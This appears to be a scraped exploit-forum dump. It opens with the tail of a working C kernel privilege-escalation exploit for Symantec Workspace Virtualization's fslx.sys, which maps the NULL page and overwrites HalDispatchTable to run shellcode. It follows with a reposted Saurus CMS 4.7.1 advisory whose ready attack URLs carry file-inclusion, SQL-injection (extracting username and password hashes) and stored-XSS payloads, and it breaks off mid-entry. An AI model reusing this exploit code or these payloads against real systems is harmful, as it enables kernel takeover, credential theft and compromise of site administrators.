    ULONG   Unknown2;
    PVOID   Base;
    ULONG   Size;
    ULONG   Flags;
    USHORT Index;
    USHORT NameLength;
    USHORT LoadCount;
    USHORT PathLength;
    CHAR    ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct {
    ULONG   Count;
    SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
   
   
   
   
typedef VOID (WINAPI *PINBV_ACQUIRE_DISPLAY_OWNERSHIP)(VOID);
typedef BOOLEAN (WINAPI *PINBV_RESET_DISPLAY)(VOID);
typedef VOID (WINAPI *PINBV_SOLID_COLOR_FILL)(
 ULONG x1,
 ULONG y1,
 ULONG x2,
 ULONG y2,
 ULONG color
    );
typedef ULONG (WINAPI *PINBV_SET_TEXT_COLOR)(
 ULONG Color
    );
typedef
VOID
(*INBV_DISPLAY_STRING_FILTER)(
 PUCHAR *Str
    );
   
   
typedef VOID (WINAPI *PINBV_INSTALL_DISPLAY_STRING_FILTER)(
    INBV_DISPLAY_STRING_FILTER DisplayStringFilter
    );
typedef BOOLEAN (WINAPI *PINBV_ENABLE_DISPLAY_STRING)(
    BOOLEAN bEnable
    );
typedef VOID (WINAPI *PINVB_SET_SCROLL_REGION)(
    ULONG x1,
    ULONG y1,
    ULONG x2,
    ULONG y2
    );
typedef VOID (WINAPI *PINBV_DISPLAY_STRING)(
    PUCHAR Str
    );
PINBV_ACQUIRE_DISPLAY_OWNERSHIP InbvAcquireDisplayOwnership = 0;
PINBV_RESET_DISPLAY InbvResetDisplay = 0;
PINBV_SOLID_COLOR_FILL InbvSolidColorFill = 0;
PINBV_SET_TEXT_COLOR InbvSetTextColor = 0;
PINBV_INSTALL_DISPLAY_STRING_FILTER InbvInstallDisplayStringFilter = 0;
PINBV_ENABLE_DISPLAY_STRING InbvEnableDisplayString = 0;
PINVB_SET_SCROLL_REGION InbvSetScrollRegion = 0;
PINBV_DISPLAY_STRING InbvDisplayString= 0;
   
   
#define VGA_COLOR_BLACK 0
#define VGA_COLOR_RED 1
#define VGA_COLOR_GREEN 2
#define VGA_COLOR_GR 3
#define VGA_COLOR_BULE 4
#define VGA_COLOR_DARK_MEGAENTA 5
#define VGA_COLOR_TURQUOISE 6
#define VGA_COLOR_GRAY 7
#define VGA_COLOR_BRIGHT_GRAY 8
#define VGA_COLOR_BRIGHT_RED 9
#define VGA_COLOR_BRIGHT_GREEN 10
#define VGA_COLOR_BRIGHT_YELLOW 11
#define VGA_COLOR_BRIGHT_BULE 12
#define VGA_COLOR_BRIGHT_PURPLE 13
#define VGA_COLOR_BRIGHT_TURQUOISE 14
#define VGA_COLOR_WHITE 15
UCHAR DisplayString[] =
"                                                                                "
"                                                                                "
"                                                                                "
"                ---- ===== EXPLOIT SUCCESSFULLY ==== ----                       "
"                                                                                "
"                                                                                "
" Symantec Workspace Virtualization 6.4.1895.0 Local Privilege Escalation Exploit"
"                                                                                "
" VULNERABLE PRODUCT                                                             "
"                                                                                "
" Symantec Workspace Virtualization                                              "
"                                                                                "
"                                                                                "
" VULERABLE FILE                                                                 "
" fslx.sys <= 6.4.1895.0                                                         "
"                                                                                "
" AUTHOR                                                                         "
"                                                                                "
" MJ0011                                                                         "
" th_decoder@126.com                                                             "
"                                                                                "
" 2013-7-17                                                                      "
" Symantec's technology is hundreds of years behind that of us                   "
"                                                                                "
"                                                                                ";
   
   
VOID InbvShellCode()
{
//DISABLE INTERRUPT
   
   
__asm
{
cli
}
   
   
//RESET TO VGA MODE
   
   
InbvAcquireDisplayOwnership();
   
   
InbvResetDisplay();
   
   
//FILL FULL SCREEN
   
   
InbvSolidColorFill(0 , 0 , 639 , 479 ,VGA_COLOR_BLACK);
   
   
//SET TEXT COLOR
InbvSetTextColor(VGA_COLOR_BRIGHT_GREEN);
   
   
InbvInstallDisplayStringFilter(NULL);
   
   
InbvEnableDisplayString(TRUE);
   
   
InbvSetScrollRegion( 0 , 0 , 639 ,477);
   
   
InbvDisplayString(DisplayString);
while(TRUE)
{
   
   
};
   
   
   
   
}
   
   
BOOL InbvInit(PVOID ntosbase , PSTR ntosname)
{
HMODULE hlib = LoadLibrary(ntosname);
   
   
if (hlib == NULL)
{
return FALSE;
}
   
   
InbvAcquireDisplayOwnership = (PINBV_ACQUIRE_DISPLAY_OWNERSHIP)((ULONG)GetProcAddress(hlib , "InbvAcquireDisplayOwnership") - (ULONG)hlib + (ULONG)ntosbase);
InbvResetDisplay = (PINBV_RESET_DISPLAY)((ULONG)GetProcAddress(hlib , "InbvResetDisplay") - (ULONG)hlib + (ULONG)ntosbase);
InbvSolidColorFill = (PINBV_SOLID_COLOR_FILL)((ULONG)GetProcAddress(hlib , "InbvSolidColorFill") - (ULONG)hlib + (ULONG)ntosbase);
InbvSetTextColor = (PINBV_SET_TEXT_COLOR)((ULONG)GetProcAddress(hlib , "InbvSetTextColor") - (ULONG)hlib + (ULONG)ntosbase);
InbvInstallDisplayStringFilter = (PINBV_INSTALL_DISPLAY_STRING_FILTER)((ULONG)GetProcAddress(hlib , "InbvInstallDisplayStringFilter") - (ULONG)hlib + (ULONG)ntosbase);
InbvEnableDisplayString = (PINBV_ENABLE_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvEnableDisplayString") - (ULONG)hlib + (ULONG)ntosbase);
InbvSetScrollRegion = (PINVB_SET_SCROLL_REGION)((ULONG)GetProcAddress(hlib , "InbvSetScrollRegion") - (ULONG)hlib + (ULONG)ntosbase);
InbvDisplayString = (PINBV_DISPLAY_STRING)((ULONG)GetProcAddress(hlib , "InbvDisplayString") - (ULONG)hlib + (ULONG)ntosbase);
   
   
if (InbvAcquireDisplayOwnership &&
InbvResetDisplay &&
InbvSolidColorFill &&
InbvSetTextColor &&
InbvInstallDisplayStringFilter &&
InbvEnableDisplayString &&
InbvSetScrollRegion &&
InbvDisplayString)
{
return TRUE;
}
return FALSE;
  
}
  
typedef LONG (WINAPI *PNT_ALLOCATE_VIRTUAL_MEMORY)(
                                                   HANDLE ProcessHandle,
                                                   PVOID *BaseAddress,
                                                   ULONG ZeroBits,
                                                   PSIZE_T RegionSize,
                                                   ULONG AllocationType,
                                                   ULONG Protect
  );
#define  ProfileTotalIssues  2
  
int main(int argc, char* argv[])
{
    printf("Symantec Workspace Virtualization 6.4.1895.0 Local Privilege Escalation Exploit\n"
        "fslx.sys <= 6.4.1895.0\n"
        "\nBy MJ0011\n2013-7-17\nth_decoder@126.com\nPRESS ENTER\n");
      
      
    getchar();
    PSYSTEM_MODULE_INFORMATION pinfo = (PSYSTEM_MODULE_INFORMATION)GetInfoTable(SystemModuleInformation);
    if (pinfo==0)
    {
        printf("cannot get system info\n");
        return 0;
    }
    if (!InbvInit(pinfo->Module[0].Base , strrchr(pinfo->Module[0].ImageName , '\\') + 1))
    {
        printf("cannot init inbv system!\n");
        return 0;
    }
    pNtQueryValueKey NtQueryValueKey = (pNtQueryValueKey)GetProcAddress(GetModuleHandle("ntdll.dll") ,"NtQueryValueKey");
      
    //alloc shellcode jump
      
      
    PNT_ALLOCATE_VIRTUAL_MEMORY NTAllocateVM = (PNT_ALLOCATE_VIRTUAL_MEMORY)GetProcAddress(GetModuleHandle("ntdll.dll") , "NtAllocateVirtualMemory");
      
      
    PVOID BaseAddress = (PVOID)0x1;
    ULONG dwsize = 0x1000;
    LONG status;
    status = NTAllocateVM
        (
        GetCurrentProcess() ,
        &BaseAddress ,
        0 ,
        &dwsize ,
        MEM_COMMIT | MEM_RESERVE ,
        PAGE_READWRITE
);
  
    if (status !=0)
    {
        printf("err alloc vm %08x\n", status);
        getchar();
        return 0;
    }
    //result length always <=0x800
    //0~0x800: NOP
    //0x800: shell code
      
      
    memset((PVOID)0x0 , 0x90 , 0x1000);
    *(BYTE*)((ULONG)0x800) = 0xe9;
    *(ULONG*)((ULONG)0x801) = (ULONG)InbvShellCode - (ULONG)0x800 - 0x5;
   
    //get haldispatchtable
      
      
    HMODULE hntos = LoadLibrary(strrchr(pinfo->Module[0].ImageName , '\\')+1);
    if (hntos == 0 )
    {
        printf("cannot load ntos\n");
        getchar();
        return 0;
    }
    PVOID pHalDispatchTable = GetProcAddress(hntos , "HalDispatchTable");
    pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable - (ULONG)hntos);
    pHalDispatchTable = (PVOID)((ULONG)pHalDispatchTable + (ULONG)pinfo->Module[0].Base);
    PVOID xHalQuerySystemInformationAddr = (PVOID)((ULONG)pHalDispatchTable+ sizeof(ULONG));
    FreeLibrary(hntos);
   
    HKEY hkey;
    ULONG err = RegOpenKeyEx(HKEY_CURRENT_USER , "Software" , 0 , KEY_READ , &hkey);
      
      
    if (err!=ERROR_SUCCESS)
    {
        printf("open key read failed %u\n" ,err);
        getchar();
        return 0;
    }
    HKEY hkey2;
      
      
    err = RegOpenKeyEx(HKEY_CURRENT_USER , "Software" , 0 , KEY_WRITE , &hkey2);
      
      
    if (err != ERROR_SUCCESS)
    {
        printf("open key write failed %u\n", err);
        getchar();
        return 0;
    }
    DWORD dd;
      
      
    err = RegSetValueEx(hkey2 , "123" , 0 , REG_DWORD , (CONST BYTE*)&dd , sizeof(DWORD));
      
      
    if (err != ERROR_SUCCESS)
    {
        printf("set value %u\n" , err);
        getchar();
          
          
        return 0;
}   BYTE buffer[100];
    PVOID pbuf = buffer;
  
    UNICODE_STRING name;
    name.Buffer = NULL;
    name.Length = 0;
    name.MaximumLength=0;
     status = NtQueryValueKey(hkey , &name , 2 , pbuf , 100 , (PULONG)xHalQuerySystemInformationAddr );
  
    //fire our shell code
      
      
    pNtQueryIntervalProfile NtQueryIntervalProfile = (pNtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll" ) , "NtQueryIntervalProfile");
  
    NtQueryIntervalProfile(ProfileTotalIssues , 0 );
  
    return 0;
}
 
# F195D83CAA73FCBF   1337day.com [2013-07-19]   580CF443D076870B #
Saurus CMS 4.7.1 Multiple Vulnerabilities
ID: 67686ba3b4103b69df379d5f
Thread ID: 24420
Created: 2013-07-17T07:28:03+0000
Last Post: 2013-07-17T07:28:03+0000
Author: DarckSol
Prefix: Web
Replies: 0 Views: 1K

Code:Copy to clipboard

Saurus CMS 4.7.1 LFI / RFI / XSS / SQL Injection / Traversal / CSRF
 
Author: Janek Vind "waraxe"
Date: 14. July 2013
Location: Estonia, Tartu
Web: http://www.waraxe.us/advisory-106.html
 
 
Description of vulnerable software:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
Web publishing system combining daily content management features with site
administration and development tools.
 
http://www.saurus.info/
 
Vulnerable was version 4.7.1 before 07. June 2013, older versions not tested:
 
http://www.saurus.info/version-history/
 
 
###############################################################################
1. Local File Inclusion in "admin/fckeditor_dialog_image.php"
###############################################################################
 
Reason:
 1. insufficient sanitization of user-supplied data
Attack vector:
 1. user-supplied parameter "dialog"
Preconditions:
 1. Logged in as Saurus CMS user
 2. At least one valid file ID must be known (can be bruteforced)
 
Php script "admin/fckeditor_dialog_image.php" line 101:
------------------------[ source code start ]----------------------------------
$object = new Objekt(array(
  'objekt_id' => (int)$site->fdat['file_id'],
  'on_sisu' => 1,
));
..
include_once('../js/fckeditor/editor/'.$site->fdat['dialog']);
------------------------[ source code end ]------------------------------------
 
Test (parameter "file_id" must be valid):
 
http://localhost/saurus471/admin/fckeditor_dialog_image.php?file_id=10572&dialog=../../../.htaccess
 
Result: contents of ".htaccess" file from Saurus CMS root directory will be
revealed, LFI confirmed.
 
 
###############################################################################
2. Local File Inclusion in "extensions/saurus4/captcha_image.php"
###############################################################################
 
Reason:
 1. uninitialized variable "$captcha"
Attack vector:
 1. user-supplied parameter "captcha"
Preconditions:
 1. PHP setting "register_globals = on"
 
 
Php script "extensions/saurus4/captcha_image.php" line 45:
------------------------[ source code start ]----------------------------------
switch ($captcha['image_type'])
{
  case 'gif':
    include_once($class_path.'lgpl/GotchaGIF.class.php');
    $img = new GotchaGIF($captcha['image_width'], $captcha['image_height']);
    break;
..
if($img->create())
{
  //apply effects
  foreach($captcha['effects'] as $effect)
  {
    $effect_name = $effect['name'];
    //echo $effect_name;
    include_once($class_path.'lgpl/'.$effect_name.'.class.php');
------------------------[ source code end ]------------------------------------
 
Test:
 
http://localhost/saurus471/extensions/saurus4/captcha_image.php?
captcha[image_type]=gif&captcha[image_width]=50&captcha[image_height]=50&
captcha[effects][0][name]=../waraxe
 
Result:
 
Warning: include_once(../../classes/lgpl/../waraxe.class.php) [function.include-once]:
failed to open stream: No such file or directory in
C:\apache_www\saurus471\extensions\saurus4\captcha_image.php on line 73
 
PHP error message above confirms LFI vulnerability.
 
 
###############################################################################
3. Local File Inclusion in "admin/edit.php"
###############################################################################
 
Reason:
 1. insufficient sanitization of user-supplied data
Attack vector:
 1. user-supplied parameter "extension_path"
Preconditions:
 1. Logged in as Saurus CMS user
 
 
Php script "admin/edit.php" line 76:
------------------------[ source code start ]----------------------------------
if($site->fdat['extension_path'])
{
  $actions_file = '..'.$site->fdat['extension_path'].'/actions.inc.php';
..
if (file_exists($actions_file)){
  include_once($actions_file);
------------------------[ source code end ]------------------------------------
 
 
###############################################################################
4. Remote File Inclusion in "map.php"
###############################################################################
 
Reason:
 1. insufficient sanitization of user-supplied data
Attack vector:
 1. user-supplied GET parameter "cmd"
Preconditions:
 1. Windows server
 
 
Php script "map.php" line 56:
------------------------[ source code start ]----------------------------------
$tmp_cmd=explode("/",$_GET['cmd']);
..
foreach($tmp_cmd as $t){
 
  // if the there is a .php in the URL then don't use aliases go directly to that file
  if(preg_match('/\.php$/i', $t) && file_exists($t) && !preg_match("#^\.\./#", $t))
..
    include($t);
------------------------[ source code end ]------------------------------------
 
On *nix servers this code above is secure enough, but things change in case of
Windows server - attacker is able to use backslashes, which leads to RFI.
 
Example attack using local file:
 
http://localhost/saurus471/map.php?cmd=..\..\..\..\test.php
 
Example attack using remote file:
 
http://localhost/saurus471/map.php?cmd=\\192.168.1.25\test.php
 
 
###############################################################################
5. Remote File Inclusion in "admin/change_config.php"
###############################################################################
 
Reason:
 1. uninitialized variable "$class_path"
Attack vector:
 1. user-supplied parameter "class_path"
Preconditions:
 1. PHP setting "register_globals = on"
 
 
Php script "admin/change_config.php" line 25:
------------------------[ source code start ]----------------------------------
global $class_path;
..
if(!isset($class_path)) {
  $class_path = "../classes/";
}
..
include_once($class_path."port.inc.php");
------------------------[ source code end ]------------------------------------
 
Test:
 
http://localhost/saurus471/admin/change_config.php?class_path=http://php.net/?
 
 
###############################################################################
6. Remote File Inclusion in "admin/repair_database.php"
###############################################################################
 
Reason:
 1. uninitialized variable "$class_path"
Attack vector:
 1. user-supplied parameter "class_path"
Preconditions:
 1. PHP setting "register_globals = on"
 
 
Php script "admin/repair_database.php" line 23:
------------------------[ source code start ]----------------------------------
global $class_path;
 
if(!isset($class_path)) {
  $class_path = "../classes/";
}
 
include_once($class_path."port.inc.php");
------------------------[ source code end ]------------------------------------
 
Test:
 
http://localhost/saurus471/admin/repair_database.php?class_path=http://php.net/?
 
 
###############################################################################
7. Remote File Inclusion in "admin/check_adminpage.php"
###############################################################################
 
Reason:
 1. uninitialized variable "$class_path"
Attack vector:
 1. user-supplied parameter "class_path"
Preconditions:
 1. PHP setting "register_globals = on"
 
 
Php script "admin/check_adminpage.php" line 29:
------------------------[ source code start ]----------------------------------
if(!isset($class_path)) { $class_path = "../classes/"; }
 
include($class_path."port.inc.php");
------------------------[ source code end ]------------------------------------
 
Test:
 
http://localhost/saurus471/admin/check_adminpage.php?class_path=http://php.net/?
 
 
###############################################################################
8. SQL Injection in "index.php"
###############################################################################
 
Reason:
 1. insufficient sanitization of user-supplied data
Attack vector:
 1. user-supplied GET parameter "pg"
Preconditions:
 1. PHP setting "magic_quotes_gpc = Off"
 
 
Php script "index.php" line 303:
------------------------[ source code start ]----------------------------------
if ($CMS_SETTINGS['switch_lang_enabled'] && !$cache_data && !$_GET['lang'] &&
 !$_GET['keel'] && (is_numeric($_GET['id']) || is_numeric($_GET['pg']))){
  $myid = $_GET['id'] ? $_GET['id'] : $_GET['pg'];
  $sql = "SELECT keel.extension FROM objekt LEFT JOIN keel ON
    keel.keel_id=objekt.keel WHERE objekt_id='".$myid."'";
  $sth = new SQL($sql);
  $mykeel = $sth->fetchsingle();
------------------------[ source code end ]------------------------------------
 
As seen above, user-submitted GET parameters "id" and "pg" are checked to be
numeric before using them in SQL query. If we analyze source code more closely,
then it appears to be not as secure as planned by programmer. Attacker can input
GET parameter "id" with value of "0" and GET parameter "pg" with SQL injection
string containing single quote. As parameter "id" is numeric, checking code will
be bypassed. Next line of code tests parameter "id" and because it is zero,
variable "$myid" will get value from parameter "pg". This leads to SQL Injection.
 
Test 1:
 
http://localhost/saurus471/?speed_debug=on&id=0&pg=123
 
Result: "Page was generated in 1.20000 seconds.", normal server response.
 
Test 2:
 
http://localhost/saurus471/?speed_debug=on&id=0&pg='+UNION+SELECT+SLEEP(5)%23
 
Result: "Page was generated in 6.17751 seconds.", delay observed, SQL Injection
confirmed.
 
 
###############################################################################
9. SQL Injection in "classes/sapi/function.init_search_results.php"
###############################################################################
 
Reason:
 1. insufficient sanitization of user-supplied data
Attack vector:
 1. user-supplied parameter "sites"
Preconditions: none
 
 
Php script "classes/sapi/function.init_search_results.php" line 27:
------------------------[ source code start ]----------------------------------
function smarty_function_init_search_results($params,&$smarty) {
..
  if(!isset($sites)) $sites = $site->fdat['sites'];
..
  $pre_search_explode=explode(",",strtolower(trim($sites)));
  foreach($pre_search_explode as $k=>$v){
    $pre_search_explode[$k]=trim($v);
  }
  $sql_keel = "SELECT keel_id FROM keel WHERE on_kasutusel=1 AND extension IN ('".implode("','",$pre_search_explode)."')";
..
  $sth = new SQL($sql_keel);
  while($r = $sth->fetch("ASSOC")){
    $keeled[]=$r['keel_id'];
------------------------[ source code end ]------------------------------------
 
As seen above, user-submitted parameter "sites" ends up used in SQL query
without proper sanitization, which leads to SQL Injection vulnerability.
 
Test 1:
 
http://localhost/saurus471/index.php?op=search&speed_debug=on&sites=waraxe
 
Result: "Page was generated in 1.18560 seconds.", normal server response.
 
Test 2:
 
http://localhost/saurus471/index.php?op=search&speed_debug=on&sites=')UNION+SELECT+SLEEP(5)%23
 
Result: "Page was generated in 6.22651 seconds.", delay observed, SQL Injection
confirmed.
 
 
###############################################################################
10. SQL Injection in "admin/error_log.php"
###############################################################################
 
Reason:
 1. insufficient sanitization of user-supplied data
Attack vector:
 1. user-supplied parameters "algus", "lopp", "err_type", "sortby" and "sort"
Preconditions:
 1. logged in as Saurus CMS admin
 
 
Php script "admin/error_log.php" line 63:
------------------------[ source code start ]----------------------------------
$algus_aeg = $site->fdat['algus']? $site->fdat['algus'] : date("d.m.Y",$start_d);
$lopp_aeg = $site->fdat['lopp']? $site->fdat['lopp'] : date("d.m.Y");
..
if ($algus_aeg) {
  $where_sql[] = " error_log.time_of_error>='".$site->db->ee_MySQL($algus_aeg)." 00:00' "; 
}
if ($lopp_aeg) {
  $where_sql[] = " error_log.time_of_error<='".$site->db->ee_MySQL($lopp_aeg)." 23:59' "; 
}
if ($site->fdat['err_type']) {
  $where_sql[] = " error_log.err_type = '".$site->fdat['err_type']."' ";
}
..
$where_str = sizeof($where_sql)>0 ? " WHERE ".join(" AND ",$where_sql) : '';
..
$site->fdat['sortby'] = $site->fdat['sortby'] ? $site->fdat['sortby'] : 'time_of_error';
$site->fdat['sort'] = $site->fdat['sort'] ? $site->fdat['sort'] : 'DESC';
..
if($site->fdat['sortby']){
  $order = " ORDER BY ".$site->fdat['sortby']." ".$site->fdat['sort'];
}
..
$sql = $site->db->prepare("SELECT DATE_FORMAT(time_of_error,'%d.%m.%y %T') AS time_of_errorf, error_log.*");
$sql .= $from_sql;
$sql .= $where_str;
$sql .= $order;
$sql .= $pagenumbers['limit_sql'];
..
$sth = new SQL($sql);
..
while ( $log = $sth->fetch() ) {
------------------------[ source code end ]------------------------------------
 
Test 1:
 
http://localhost/saurus471/admin/error_log.php?err_type='UNION+SELECT+1,1,1,1,@@version,1,1,1,1,1,1%23
http://localhost/saurus471/admin/error_log.php?algus=aa-'UNION+SELECT+1,1,1,1,@@version,1,1,1,1,1,1%23
http://localhost/saurus471/admin/error_log.php?lopp=aa-'+AND+0+UNION+SELECT+1,1,1,1,@@version,1,1,1,1,1,1%23
 
Result:
 
MySQL version info will be revealed
 
Test 2:
 
http://localhost/saurus471/admin/error_log.php?err_type='UNION+SELECT+1,1,1,1,CONCAT_WS(0x3a,username,password),1,1,1,1,1,1+FROM+users+WHERE+user_id=1%23
http://localhost/saurus471/admin/error_log.php?algus=aa-'UNION+SELECT+1,1,1,1,CONCAT_WS(0x3a,username,password),1,1,1,1,1,1+FROM+users+WHERE+user_id=1%23
http://localhost/saurus471/admin/error_log.php?lopp=aa-'+AND+0+UNION+SELECT+1,1,1,1,CONCAT_WS(0x3a,username,password),1,1,1,1,1,1+FROM+users+WHERE+user_id=1%23
 
 
Result:
 
Username and password hash of the Saurus CMS user with ID 1 will be revealed
 
 
###############################################################################
11. SQL Injection in "admin/extensions.php"
###############################################################################
 
Reason:
 1. insufficient sanitization of user-supplied data
Attack vector:
 1. user-supplied parameters "sortby" and "sort"
Preconditions:
 1. logged in as Saurus CMS admin
 
 
Php script "admin/extensions.php" line 297:
------------------------[ source code start ]----------------------------------
$site->fdat['sortby'] = $site->fdat['sortby'] ? $site->fdat['sortby'] : 'name';
$site->fdat['sort'] = $site->fdat['sort'] ? $site->fdat['sort'] : 'ASC';
..
if($site->fdat['sortby']){
  $order = " ORDER BY ".$site->fdat['sortby']." ".$site->fdat['sort'];
}
..
$sql = $site->db->prepare("SELECT DATE_FORMAT(version_date,'%d.%m.%Y') AS fversion_date, extensions.*");
$sql .= $from_sql;
$sql .= $order;
..
$sth = new SQL($sql);
..
while ( $ext = $sth->fetch() ) {
------------------------[ source code end ]------------------------------------
 
Test 1:
 
http://localhost/saurus471/admin/extensions.php?sortby=1
 
Result: normal server response, no additional delay.
 
Test 2:
 
http://localhost/saurus471/admin/extensions.php?sortby=SLEEP(5)%23
 
Result: additionial delay observed, SQL Injection confirmed.
 
 
###############################################################################
12. SQL Injection in "admin/profile_data.php"
###############################################################################
 
Reason:
 1. insufficient sanitization of user-supplied data
Attack vector:
 1. user-supplied parameters "sortby" and "sort"
Preconditions:
 1. logged in as Saurus CMS admin
 
 
Php script "admin/profile_data.php" line 521:
------------------------[ source code start ]----------------------------------
if($site->fdat['sortby']){
    $order = " ORDER BY ".$site->fdat['sortby']." ".$site->fdat['sort'];
  }
..
  $sql .= $from_sql;
  $sql .= $where;
  $sql .= $order;
  $sql .= $pagenumbers['limit_sql'];
  $sth = new SQL($sql);
..
  if($sth->rows){
..
  while($asset = $sth->fetch()){
------------------------[ source code end ]------------------------------------
 
 
###############################################################################
13. SQL Injection in "classes/user_html.inc.php"
###############################################################################
 
Reason:
 1. insufficient sanitization of user-supplied data
Attack vector:
 1. user-supplied parameters "sortby" and "sort"
Preconditions:
 1. logged in as Saurus CMS admin
 
 
Php script "classes/user_html.inc.php" line 313:
------------------------[ source code start ]----------------------------------
$order = " ORDER BY ".$site->fdat['sortby']." ".$site->fdat['sort'];
..
$sql = $site->db->prepare("SELECT users.* FROM users ");
$sql .= $join;
$sql .= $where;
$sql .= $order;
$sql .= $pagenumbers['limit_sql'];
..
$sth = new SQL($sql);
..
while($tmp = $sth->fetch()){
------------------------[ source code end ]------------------------------------
 
###############################################################################
14. SQL Injection in "admin/sys_sonad_loetelu.php"
###############################################################################
 
Reason:
 1. insufficient sanitization of user-supplied data
Attack vector:
 1. user-supplied parameter "sst_id"
Preconditions:
 1. logged in as Saurus CMS admin
 
 
Php script "admin/sys_sonad_loetelu.php" line 123:
------------------------[ source code start ]----------------------------------
$sst_id = ($site->fdat['sst_id'] ? $site->fdat['sst_id'] : $glossary_word_types[0]['sst_id']);
 
if(is_numeric($site->fdat['flt_keel']))
{
..
  $otsi = $otsi ? " (sys_sonad_kirjeldus.sona LIKE '%".$otsi."%' OR
  sys_sonad.sona LIKE '%".$otsi."%' OR sys_sonad.origin_sona LIKE 
  '%".$otsi."%' OR sys_sonad.sys_sona LIKE '%".$otsi."%' OR
  sys_sonad_kirjeldus.sys_sona LIKE '%".$otsi."%') " : " sys_sonad.sst_id=".$sst_id;
  $where_str = $site->db->prepare(" WHERE sys_sonad.keel=? AND ".$otsi." ",
    $keel_id,
    1
  );
..
$sql .= $where_str;
..
$sth = new SQL($sql);
..
while ( $mysona = $sth->fetch('ASSOC') )
{
  $words[] = $mysona;
}
------------------------[ source code end ]------------------------------------
 
Test 1:
 
http://localhost/saurus471/admin/sys_sonad_loetelu.php?flt_keel=1&sst_id=0+UNION+SELECT+@@version,1,1,1,1,1,1,1%23
 
Result:
 
MySQL version info will be revealed
 
Test 2:
 
http://localhost/saurus471/admin/sys_sonad_loetelu.php?flt_keel=1&sst_id=0+UNION+SELECT+CONCAT_WS(0x3a,username,password),1,1,1,1,1,1,1+FROM+users+WHERE+user_id=1%23
 
Result:
 
Username and password hash of the Saurus CMS user with ID 1 will be revealed
 
 
###############################################################################
15. SQL Injection in "admin/change_config.php"
###############################################################################
 
Reason:
 1. insufficient sanitization of user-supplied data
Attack vector:
 1. user-supplied parameter "timezone"
Preconditions:
 1. logged in as Saurus CMS admin
 
 
Php script "admin/change_config.php" line 153:
------------------------[ source code start ]----------------------------------
$q="update config set sisu='".$site->fdat['timezone']."' where nimi='time_zone'";
new SQL($q);
------------------------[ source code end ]------------------------------------
 
 
###############################################################################
16. Stored XSS in "admin/log.php"
###############################################################################
 
Reason:
 1. improper encoding or escaping of output
Attack vector:
 1. user-supplied parameter "user"
Preconditions:
 1.  1. "Enable site log" enabled (it is by default)
 
 
Php script "classes/site.class.php" line 538:
------------------------[ source code start ]----------------------------------
if($this->fdat["op"] == 'login' && $this->fdat["url"] && 
  $this->CONF['disable_form_based_login'] != "1") {
  $this->user = new User(array(
    user => $this->fdat["user"],
    pass => $this->fdat["pass"],
    "site" => &$this,
  ));
  $user_id = $this->user->user_id;
 
  if ($user_id) {
..
  else {
    # kirjuta logi
    new Log(array(
      'action' => 'log in',
      'component' => 'Users',
      'type' => 'NOTICE',
      'message' => "Unauthorized access to CMS:
      username '".$this->fdat["user"]."', IP: '".$_SERVER["REMOTE_ADDR"]."'",
    ));
------------------------[ source code end ]------------------------------------
  
As seen above, in case of failed login attempt site log entry will be created,
containing various information, including submitted username.
  
 
Php script "admin/log.php" line 265:
------------------------[ source code start ]----------------------------------
<?php foreach ($log_records as $log_record) { //printr($log_record); ?>
..
  <td><?=$log_record['message'];?></td>
------------------------[ source code end ]------------------------------------
 
We can see, that php script "admin/log.php", used by admins for sitelog view,
does not implement proper encoding or escaping of output, leading to Stored
XSS vulenrability. Because this specific XSS payload can be inserted by anonymous
user, but target victim is admin, then it has serious security impact and can
lead to site full compromise. Possible attack scenario: 1. Stored XSS insertion,
2. admin opens log.php, XSS payload steals CSRF token, 3. CSRF attack, new admin
account creation, 4. attacker logs in as new admin, game over ...
 
Test:
 
1. Issue GET request as below:
 
http://localhost/saurus471/admin/?op=login&url=1&user=<script>alert(123);</script>
 
2. Log in as Saurus CMS admin and open site log page:
 
http://localhost/saurus471/admin/log.php
 
Result: 
 
javascript alert box pops up, confirming Stored XSS vulnerability.
 
 
###############################################################################
17. Stored XSS in "admin/error_log.php"
###############################################################################
 
Reason:
 1. improper encoding or escaping of output
Preconditions:
 1. "Save PHP and MySQL errors into the database" enabled (it is by default)
 
 
Php script "classes/port.inc.php" line 150:
------------------------[ source code start ]----------------------------------
function saurusErrorHandler($errno, $errmsg, $filename, $linenum, $vars){
..
  if (!defined("SAVE_ERROR_LOG")){
 
    $res = @mysql_query("SELECT sisu FROM config WHERE nimi='save_error_log'");
    if ($res){
      list($tmp) = @mysql_fetch_array($res);
    }
    define("SAVE_ERROR_LOG", ($tmp ? 1:0));
  }
 
 
    if (SAVE_ERROR_LOG && !substr_count($errmsg, 'mysql_num_fields')){
      @mysql_query("INSERT INTO error_log (time_of_error, source, err_text, 
      err_type, domain, referrer, fdat_scope, ip, remote_user) VALUES (NOW(), 
      '".addslashes($filename." line ".$linenum)."', '".addslashes($errmsg)."',
      'PHP', '".addslashes($_SERVER['HTTP_HOST'])."', 
      '".addslashes($_SERVER['REQUEST_URI'])."', '".addslashes($serialized_fdat).
      "', '".$_SERVER['REMOTE_ADDR']."', '".addslashes($_SERVER['REMOTE_USER'])."')");
    }
   }
 
}
 
# Redefine error handler
$old_error_handler = set_error_handler("saurusErrorHandler");
------------------------[ source code end ]------------------------------------
  
As seen above, new PHP error handler is defined, which writes all PHP error
messages to error log in database.
  
 
Php script "admin/error_log.php" line 320:
------------------------[ source code start ]----------------------------------
<td width="60%"><?= $log['err_text'] ?></td>
------------------------[ source code end ]------------------------------------
 
We can see, that php script "admin/log.php", used by admins for error log view,
does not implement proper encoding or escaping of output, leading to Stored
XSS vulenrability. Because this specific XSS payload can be inserted by anonymous
user, but target victim is admin, then it has serious security impact and can
lead to site full compromise by similar scenario as described in previous case.
 
Test:
 
1. Issue GET request as below (MySQL Injection from one of the previous cases):
 
http://localhost/saurus471/?id=0&pg='<script>alert(123);</script>
 
2. Log in as Saurus CMS admin and open erro log page:
 
http://localhost/saurus471/admin/error_log.php
 
Result: 
 
javascript alert box pops up, confirming Stored XSS vulnerability.
 
 
###############################################################################
18. XSS protection bypass in "classes/port.inc.php"
###############################################################################
 
Php script "classes/port.inc.php" line 536:
